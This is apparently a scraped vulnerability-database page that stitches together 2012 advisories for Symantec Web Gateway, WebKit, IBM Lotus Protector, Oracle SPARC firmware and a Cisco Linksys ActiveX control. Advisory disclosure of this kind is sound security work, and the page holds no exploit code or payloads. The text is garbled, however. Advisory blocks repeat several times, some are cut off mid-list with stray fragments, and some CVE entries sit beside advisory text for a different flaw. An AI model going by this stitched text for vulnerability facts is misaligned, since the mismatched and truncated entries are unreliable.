https://ca.secunia.com/?page=viewadvisory&vuln_id=50031
ONLY AVAILABLE WITH SECUNIA CSI AND SECUNIA PSI:
* AUTOMATED SCANNING
http://secunia.com/vulnerability_scanning/personal/
http://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/
DESCRIPTION:
Multiple vulnerabilities have been reported in Symantec Web Gateway,
which can be exploited by malicious, local users to bypass certain
security restrictions and by malicious people to bypass certain
security restrictions, conduct SQL injection attacks, and compromise
a vulnerable system.
2) An error within the authentication mechanism of the application
can be exploited to bypass the authentication by modification of
certain local files.
3) Certain unspecified input passed to the management console is not
properly sanitised before being used in a SQL query. This can be
exploited to manipulate SQL queries by injecting arbitrary SQL code.
inject arbitrary shell commands.
The vulnerabilities are reported in versions prior to Database Update
5.0.0.438.
SOLUTION:
Apply Database Update 5.0.0.438.
PROVIDED AND/OR DISCOVERED BY:
The vendor credits:
1) Offensive Security via CERT/CC
2, 3) Offensive Security via CERT/CC and an anonymous person via
CERT/CC.
4, 5) An anonymous person via CERT/CC.
ORIGINAL ADVISORY:
SYM12-011:
http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&suid=20120720_00
OTHER REFERENCES:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
DEEP LINKS:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXTENDED DESCRIPTION:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXTENDED SOLUTION:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXPLOIT:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
----------------------------------------------------------------------
About:
This Advisory was delivered by Secunia as a free service to help
private users keeping their systems up to date against the latest
vulnerabilities.
Subscribe:
http://secunia.com/advisories/secunia_security_advisories/
Definitions: (Criticality, Where etc.)
http://secunia.com/advisories/about_secunia_advisories/
Please Note:
Secunia recommends that you verify all advisories you receive by
clicking the link.
Secunia NEVER sends attached files with advisories.
Secunia does not advise people to install third party patches, only
use those supplied by the vendor.
----------------------------------------------------------------------
Unsubscribe: Secunia Security Advisories
http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org
----------------------------------------------------------------------
| VAR-201207-0171 | CVE-2012-2977 | Symantec Web Gateway Password Change Security Bypass Vulnerability |
CVSS V2: 5.0 CVSS V3: - Severity: MEDIUM |
The management console in Symantec Web Gateway 5.0.x before 5.0.3.18 allows remote attackers to change arbitrary passwords via crafted input to an application script. This may aid in further attacks. Symantec Web Gateway (SWG) is a set of network content filtering software developed by Symantec Corporation of the United States. The software provides web content filtering, data loss prevention, and more. ----------------------------------------------------------------------
We are millions! Join us to protect all Pc's Worldwide.
Download the new Secunia PSI 3.0 available in 5 languages and share it with your friends:
http://secunia.com/psi
----------------------------------------------------------------------
TITLE:
Symantec Web Gateway Multiple Vulnerabilities
SECUNIA ADVISORY ID:
SA50031
VERIFY ADVISORY:
Secunia.com
http://secunia.com/advisories/50031/
Customer Area (Credentials Required)
https://ca.secunia.com/?page=viewadvisory&vuln_id=50031
RELEASE DATE:
2012-07-23
DISCUSS ADVISORY:
http://secunia.com/advisories/50031/#comments
AVAILABLE ON SITE AND IN CUSTOMER AREA:
* Last Update
* Popularity
* Comments
* Criticality Level
* Impact
* Where
* Solution Status
* Operating System / Software
* CVE Reference(s)
http://secunia.com/advisories/50031/
ONLY AVAILABLE IN CUSTOMER AREA:
* Authentication Level
* Report Reliability
* Secunia PoC
* Secunia Analysis
* Systems Affected
* Approve Distribution
* Remediation Status
* Secunia CVSS Score
* CVSS
https://ca.secunia.com/?page=viewadvisory&vuln_id=50031
ONLY AVAILABLE WITH SECUNIA CSI AND SECUNIA PSI:
* AUTOMATED SCANNING
http://secunia.com/vulnerability_scanning/personal/
http://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/
DESCRIPTION:
Multiple vulnerabilities have been reported in Symantec Web Gateway,
which can be exploited by malicious, local users to bypass certain
security restrictions and by malicious people to bypass certain
security restrictions, conduct SQL injection attacks, and compromise
a vulnerable system.
2) An error within the authentication mechanism of the application
can be exploited to bypass the authentication by modification of
certain local files.
3) Certain unspecified input passed to the management console is not
properly sanitised before being used in a SQL query. This can be
exploited to manipulate SQL queries by injecting arbitrary SQL code.
inject arbitrary shell commands.
The vulnerabilities are reported in versions prior to Database Update
5.0.0.438.
SOLUTION:
Apply Database Update 5.0.0.438.
PROVIDED AND/OR DISCOVERED BY:
The vendor credits:
1) Offensive Security via CERT/CC
2, 3) Offensive Security via CERT/CC and an anonymous person via
CERT/CC.
4, 5) An anonymous person via CERT/CC.
ORIGINAL ADVISORY:
SYM12-011:
http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&suid=20120720_00
OTHER REFERENCES:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
DEEP LINKS:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXTENDED DESCRIPTION:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXTENDED SOLUTION:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXPLOIT:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
----------------------------------------------------------------------
About:
This Advisory was delivered by Secunia as a free service to help
private users keeping their systems up to date against the latest
vulnerabilities.
Subscribe:
http://secunia.com/advisories/secunia_security_advisories/
Definitions: (Criticality, Where etc.)
http://secunia.com/advisories/about_secunia_advisories/
Please Note:
Secunia recommends that you verify all advisories you receive by
clicking the link.
Secunia NEVER sends attached files with advisories.
Secunia does not advise people to install third party patches, only
use those supplied by the vendor.
----------------------------------------------------------------------
Unsubscribe: Secunia Security Advisories
http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org
----------------------------------------------------------------------
| VAR-201207-0170 | CVE-2012-2976 | Symantec Web Gateway contains multiple vulnerabilities |
CVSS V2: 10.0 CVSS V3: - Severity: HIGH |
The management console in Symantec Web Gateway 5.0.x before 5.0.3.18 allows remote attackers to execute arbitrary shell commands via crafted input to application scripts, related to an "injection" issue. Symantec Web Gateway is a Web security gateway hardware appliance.
An attacker can exploit this issue to inject and execute arbitrary code in the context of the affected application. This may facilitate a compromise of the application and the underlying system; other attacks are also possible. Symantec Web Gateway (SWG) is a set of network content filtering software developed by Symantec Corporation of the United States. The software provides web content filtering, data loss prevention, and more. ----------------------------------------------------------------------
We are millions! Join us to protect all Pc's Worldwide.
Download the new Secunia PSI 3.0 available in 5 languages and share it with your friends:
http://secunia.com/psi
----------------------------------------------------------------------
TITLE:
Symantec Web Gateway Multiple Vulnerabilities
SECUNIA ADVISORY ID:
SA50031
VERIFY ADVISORY:
Secunia.com
http://secunia.com/advisories/50031/
Customer Area (Credentials Required)
https://ca.secunia.com/?page=viewadvisory&vuln_id=50031
RELEASE DATE:
2012-07-23
DISCUSS ADVISORY:
http://secunia.com/advisories/50031/#comments
AVAILABLE ON SITE AND IN CUSTOMER AREA:
* Last Update
* Popularity
* Comments
* Criticality Level
* Impact
* Where
* Solution Status
* Operating System / Software
* CVE Reference(s)
http://secunia.com/advisories/50031/
ONLY AVAILABLE IN CUSTOMER AREA:
* Authentication Level
* Report Reliability
* Secunia PoC
* Secunia Analysis
* Systems Affected
* Approve Distribution
* Remediation Status
* Secunia CVSS Score
* CVSS
https://ca.secunia.com/?page=viewadvisory&vuln_id=50031
ONLY AVAILABLE WITH SECUNIA CSI AND SECUNIA PSI:
* AUTOMATED SCANNING
http://secunia.com/vulnerability_scanning/personal/
http://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/
DESCRIPTION:
Multiple vulnerabilities have been reported in Symantec Web Gateway,
which can be exploited by malicious, local users to bypass certain
security restrictions and by malicious people to bypass certain
security restrictions, conduct SQL injection attacks, and compromise
a vulnerable system.
2) An error within the authentication mechanism of the application
can be exploited to bypass the authentication by modification of
certain local files.
3) Certain unspecified input passed to the management console is not
properly sanitised before being used in a SQL query. This can be
exploited to manipulate SQL queries by injecting arbitrary SQL code.
4) The application improperly validates certain input to multiple
scripts via the management console and can be exploited to e.g.
inject arbitrary shell commands.
5) The application improperly validates certain input via the
management console and can be exploited to change the password of an
arbitrary user of the application.
The vulnerabilities are reported in versions prior to Database Update
5.0.0.438.
SOLUTION:
Apply Database Update 5.0.0.438.
PROVIDED AND/OR DISCOVERED BY:
The vendor credits:
1) Offensive Security via CERT/CC
2, 3) Offensive Security via CERT/CC and an anonymous person via
CERT/CC.
4, 5) An anonymous person via CERT/CC.
ORIGINAL ADVISORY:
SYM12-011:
http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&suid=20120720_00
OTHER REFERENCES:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
DEEP LINKS:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXTENDED DESCRIPTION:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXTENDED SOLUTION:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXPLOIT:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
----------------------------------------------------------------------
About:
This Advisory was delivered by Secunia as a free service to help
private users keeping their systems up to date against the latest
vulnerabilities.
Subscribe:
http://secunia.com/advisories/secunia_security_advisories/
Definitions: (Criticality, Where etc.)
http://secunia.com/advisories/about_secunia_advisories/
Please Note:
Secunia recommends that you verify all advisories you receive by
clicking the link.
Secunia NEVER sends attached files with advisories.
Secunia does not advise people to install third party patches, only
use those supplied by the vendor.
----------------------------------------------------------------------
Unsubscribe: Secunia Security Advisories
http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org
----------------------------------------------------------------------
| VAR-201211-0084 | CVE-2012-5851 | WebKit Cross-site scripting in (XSS) Vulnerabilities that circumvent protection mechanisms |
CVSS V2: 4.3 CVSS V3: - Severity: MEDIUM |
html/parser/XSSAuditor.cpp in WebCore in WebKit, as used in Google Chrome through 22 and Safari 5.1.7, does not consider all possible output contexts of reflected data, which makes it easier for remote attackers to bypass a cross-site scripting (XSS) protection mechanism via a crafted string, aka rdar problem 12019108. WebKit is prone to a security-bypass vulnerability.
An attacker can exploit this vulnerability to bypass the cross-site scripting filter mechanism. Successful exploits may allow attackers to execute arbitrary script code and steal cookie-based authentication credentials. WebKit is a set of open source web browser engines jointly developed by companies such as KDE, Apple (Apple), and Google (Google), and is currently used by browsers such as Apple Safari and Google Chrome. A vulnerability exists in html/parser/XSSAuditor.cpp used in WebCore in WebKit in Google Chrome 22 and Safari version 5.1.7. The vulnerability stems from not considering all possible output reflection data
| VAR-201207-0459 | CVE-2012-2202 | IBM ISS Proventia Mail Security contains multiple vulnerabilities |
CVSS V2: 3.5 CVSS V3: - Severity: LOW |
Directory traversal vulnerability in javatester_init.php in IBM Lotus Protector for Mail Security 2.1, 2.5, 2.5.1, and 2.8 and IBM ISS Proventia Network Mail Security System allows remote authenticated administrators to read arbitrary files via a .. (dot dot) in the template parameter.
An attacker may leverage these issues to obtain potentially sensitive information and to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. Remote authentication users can use this vulnerability to read arbitrary files through .. ----------------------------------------------------------------------
We are millions! Join us to protect all Pc's Worldwide.
Download the new Secunia PSI 3.0 available in 5 languages and share it with your friends:
http://secunia.com/psi
----------------------------------------------------------------------
TITLE:
IBM Lotus Protector for Mail Security Information Disclosure Weakness
SECUNIA ADVISORY ID:
SA49897
VERIFY ADVISORY:
Secunia.com
http://secunia.com/advisories/49897/
Customer Area (Credentials Required)
https://ca.secunia.com/?page=viewadvisory&vuln_id=49897
RELEASE DATE:
2012-07-17
DISCUSS ADVISORY:
http://secunia.com/advisories/49897/#comments
AVAILABLE ON SITE AND IN CUSTOMER AREA:
* Last Update
* Popularity
* Comments
* Criticality Level
* Impact
* Where
* Solution Status
* Operating System / Software
* CVE Reference(s)
http://secunia.com/advisories/49897/
ONLY AVAILABLE IN CUSTOMER AREA:
* Authentication Level
* Report Reliability
* Secunia PoC
* Secunia Analysis
* Systems Affected
* Approve Distribution
* Remediation Status
* Secunia CVSS Score
* CVSS
https://ca.secunia.com/?page=viewadvisory&vuln_id=49897
ONLY AVAILABLE WITH SECUNIA CSI AND SECUNIA PSI:
* AUTOMATED SCANNING
http://secunia.com/vulnerability_scanning/personal/
http://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/
DESCRIPTION:
A weakness has been reported in IBM Lotus Protector for Mail
Security, which can be exploited by malicious users to disclose
potentially sensitive information.
Certain input to the management interface is not properly verified
before being used to display files. This can be exploited to disclose
the contents of arbitrary files.
Successful exploitation requires access to the administrative user
interface (UI).
The weakness is reported in versions 2.5, 2.5.1, and 2.8.
SOLUTION:
Apply updates (please see the vendor's advisory for details).
PROVIDED AND/OR DISCOVERED BY:
Reported by the vendor.
ORIGINAL ADVISORY:
IBM:
http://www.ibm.com/support/docview.wss?uid=swg21605199
OTHER REFERENCES:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
DEEP LINKS:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXTENDED DESCRIPTION:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXTENDED SOLUTION:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXPLOIT:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
----------------------------------------------------------------------
About:
This Advisory was delivered by Secunia as a free service to help
private users keeping their systems up to date against the latest
vulnerabilities.
Subscribe:
http://secunia.com/advisories/secunia_security_advisories/
Definitions: (Criticality, Where etc.)
http://secunia.com/advisories/about_secunia_advisories/
Please Note:
Secunia recommends that you verify all advisories you receive by
clicking the link.
Secunia NEVER sends attached files with advisories.
Secunia does not advise people to install third party patches, only
use those supplied by the vendor.
----------------------------------------------------------------------
Unsubscribe: Secunia Security Advisories
http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org
----------------------------------------------------------------------
| VAR-201207-0147 | CVE-2012-3128 | Oracle SPARC T Series server firmware Integrated Lights Out Manager Processing vulnerability |
CVSS V2: 3.7 CVSS V3: - Severity: LOW |
Unspecified vulnerability in Oracle SPARC T-Series Servers running System Firmware 8.2.0 and 8.1.4.e or earlier allows local users to affect confidentiality, integrity, and availability via unknown vectors related to Integrated Lights Out Manager. (DoS) An attack may be carried out. Oracle Sun Products Suite is prone to a local vulnerability in SPARC T-Series Servers.
The 'Integrated Lights Out Manager' sub component is affected.
This vulnerability affects the following supported versions:
System Firmware 8.1.4.e or earlier, System Firmware 8.2.0
| VAR-201207-0320 | CVE-2012-0284 | Cisco Linksys PlayerPT ActiveX Stack-based buffer overflow vulnerability in Control |
CVSS V2: 9.3 CVSS V3: - Severity: HIGH |
Stack-based buffer overflow in the SetSource method in the Cisco Linksys PlayerPT ActiveX control 1.0.0.15 in PlayerPT.ocx on the Cisco WVC200 Wireless-G PTZ Internet video camera allows remote attackers to execute arbitrary code via a long URL in the first argument (aka the sURL argument). Cisco Linksys PlayerPT ActiveX Control is prone to a buffer-overflow vulnerability because the application fails to adequately check boundaries on user-supplied input.
An attacker can exploit this issue to execute arbitrary code in the context of the application using the ActiveX control (typically Internet Explorer). Failed attacks will likely cause denial-of-service conditions.
Cisco Linksys PlayerPT 1.0.0.15 is vulnerable; other versions may also be affected.
======================================================================
2) Severity
Rating: Highly critical
Impact: System compromise
Where: Remote
======================================================================
3) Description of Vulnerability
Secunia Research has discovered a vulnerability in Cisco Linksys
PlayerPT ActiveX Control, which can be exploited by malicious people
to compromise a user's system. The ActiveX control is
marked safe-for-scripting and one of the provided methods is:
"SetSource()", which is used to set the source of the footage to view.
The method accepts five string arguments where the first ("sURL") is
the URL to the footage.
When a web page instantiates the ActiveX control and invokes the
"SetSource()" method, the function in PlayerPT.ocx responsible for
handling this method is called. The function performs various checks
on the supplied arguments including a check to determine if the
"sFrameType" string (2nd argument) is set to "mpeg". If so, the
function searches for and strips "img/video.asf" from the provided URL
in the "sURL" argument; if not, "img/mjpeg.cgi" is used.
The URL is stored to a CString object and URLs to various resources
are crafted based on the base URL including an URL to the
"img/query.cgi" resource. Later, this URL is copied into a 256 byte
stack buffer via a call to sprintf() without performing any size
checks. This can be exploited to cause a stack-based buffer overflow
via an overly long, specially crafted URL.
Successful exploitation allows execution of arbitrary code.
======================================================================
4) Solution
According to the vendor, the ActiveX control is bundled only with
products considered EOL and, therefore, itself considered EOL. The
vendor is currently working on getting the kill-bit set.
As a workaround, set the kill-bit for the following CLSID:
* {9E065E4A-BD9D-4547-8F90-985DC62A5591}
======================================================================
5) Time Table
23/03/2012 - Vulnerability discovered while analysing public report of
similar vulnerability (SA48543#1).
23/03/2012 - Vendor notified.
02/04/2012 - Vendor response (WVC200 product bundling the ActiveX
control has become EOL).
03/04/2012 - Vendor informed that ActiveX control should have kill-bit
set if considered EOL and asked to confirm that no
currently supported products bundle it.
13/04/2012 - Status update requested.
15/04/2012 - Vendor response (currently checking which products bundle
the ActiveX control and looking into setting kill-bit).
21/06/2012 - Status update requested.
13/07/2012 - Status update requested.
13/07/2012 - Vendor response (determined that no supported products
bundle the vulnerable ActiveX control and looking into
setting kill-bit).
17/07/2012 - Public disclosure.
======================================================================
6) Credits
Discovered by Carsten Eiram, Secunia Research.
======================================================================
7) References
The Common Vulnerabilities and Exposures (CVE) project has assigned
CVE-2012-0284 for the vulnerability.
======================================================================
8) About Secunia
Secunia offers vulnerability management solutions to corporate
customers with verified and reliable vulnerability intelligence
relevant to their specific system configuration:
http://secunia.com/advisories/business_solutions/
Secunia also provides a publicly accessible and comprehensive advisory
database as a service to the security community and private
individuals, who are interested in or concerned about IT-security.
http://secunia.com/advisories/
Secunia believes that it is important to support the community and to
do active vulnerability research in order to aid improving the
security and reliability of software in general:
http://secunia.com/secunia_research/
Secunia regularly hires new skilled team members. Check the URL below
to see currently vacant positions:
http://secunia.com/corporate/jobs/
Secunia offers a FREE mailing list called Secunia Security Advisories:
http://secunia.com/advisories/mailing_lists/
======================================================================
9) Verification
Please verify this advisory by visiting the Secunia website:
http://secunia.com/secunia_research/2012-25/
Complete list of vulnerability reports published by Secunia Research:
http://secunia.com/secunia_research/
======================================================================
| VAR-201207-0234 | CVE-2012-2955 | IBM ISS Proventia Mail Security contains multiple vulnerabilities |
CVSS V2: 4.3 CVSS V3: - Severity: MEDIUM |
Multiple cross-site scripting (XSS) vulnerabilities in the administrative user interface in IBM Lotus Protector for Mail Security 2.1, 2.5, 2.5.1, and 2.8 and IBM ISS Proventia Network Mail Security System allow remote attackers to inject arbitrary web script or HTML via the query string.
An attacker may leverage these issues to obtain potentially sensitive information and to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. IBM Lotus Protector for Mail Security is a set of IBM Lotus Notes, IBM Lotus Domino, Microsoft Exchange and hybrid e-mail environment to provide e-mail content filtering solutions. A remote attacker can exploit this vulnerability to inject arbitrary web scripts or HTML through query strings, and leak arbitrary file content. Vulnerabilities exist in IBM Lotus Protector versions 2.5, 2.5.1, and 2.8. ----------------------------------------------------------------------
We are millions! Join us to protect all Pc's Worldwide.
Download the new Secunia PSI 3.0 available in 5 languages and share it with your friends:
http://secunia.com/psi
----------------------------------------------------------------------
TITLE:
IBM Lotus Protector for Mail Security Information Disclosure Weakness
SECUNIA ADVISORY ID:
SA49897
VERIFY ADVISORY:
Secunia.com
http://secunia.com/advisories/49897/
Customer Area (Credentials Required)
https://ca.secunia.com/?page=viewadvisory&vuln_id=49897
RELEASE DATE:
2012-07-17
DISCUSS ADVISORY:
http://secunia.com/advisories/49897/#comments
AVAILABLE ON SITE AND IN CUSTOMER AREA:
* Last Update
* Popularity
* Comments
* Criticality Level
* Impact
* Where
* Solution Status
* Operating System / Software
* CVE Reference(s)
http://secunia.com/advisories/49897/
ONLY AVAILABLE IN CUSTOMER AREA:
* Authentication Level
* Report Reliability
* Secunia PoC
* Secunia Analysis
* Systems Affected
* Approve Distribution
* Remediation Status
* Secunia CVSS Score
* CVSS
https://ca.secunia.com/?page=viewadvisory&vuln_id=49897
ONLY AVAILABLE WITH SECUNIA CSI AND SECUNIA PSI:
* AUTOMATED SCANNING
http://secunia.com/vulnerability_scanning/personal/
http://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/
DESCRIPTION:
A weakness has been reported in IBM Lotus Protector for Mail
Security, which can be exploited by malicious users to disclose
potentially sensitive information.
Certain input to the management interface is not properly verified
before being used to display files. This can be exploited to disclose
the contents of arbitrary files.
Successful exploitation requires access to the administrative user
interface (UI).
The weakness is reported in versions 2.5, 2.5.1, and 2.8.
SOLUTION:
Apply updates (please see the vendor's advisory for details).
PROVIDED AND/OR DISCOVERED BY:
Reported by the vendor.
ORIGINAL ADVISORY:
IBM:
http://www.ibm.com/support/docview.wss?uid=swg21605199
OTHER REFERENCES:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
DEEP LINKS:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXTENDED DESCRIPTION:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXTENDED SOLUTION:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXPLOIT:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
----------------------------------------------------------------------
About:
This Advisory was delivered by Secunia as a free service to help
private users keeping their systems up to date against the latest
vulnerabilities.
Subscribe:
http://secunia.com/advisories/secunia_security_advisories/
Definitions: (Criticality, Where etc.)
http://secunia.com/advisories/about_secunia_advisories/
Please Note:
Secunia recommends that you verify all advisories you receive by
clicking the link.
Secunia NEVER sends attached files with advisories.
Secunia does not advise people to install third party patches, only
use those supplied by the vendor.
----------------------------------------------------------------------
Unsubscribe: Secunia Security Advisories
http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org
----------------------------------------------------------------------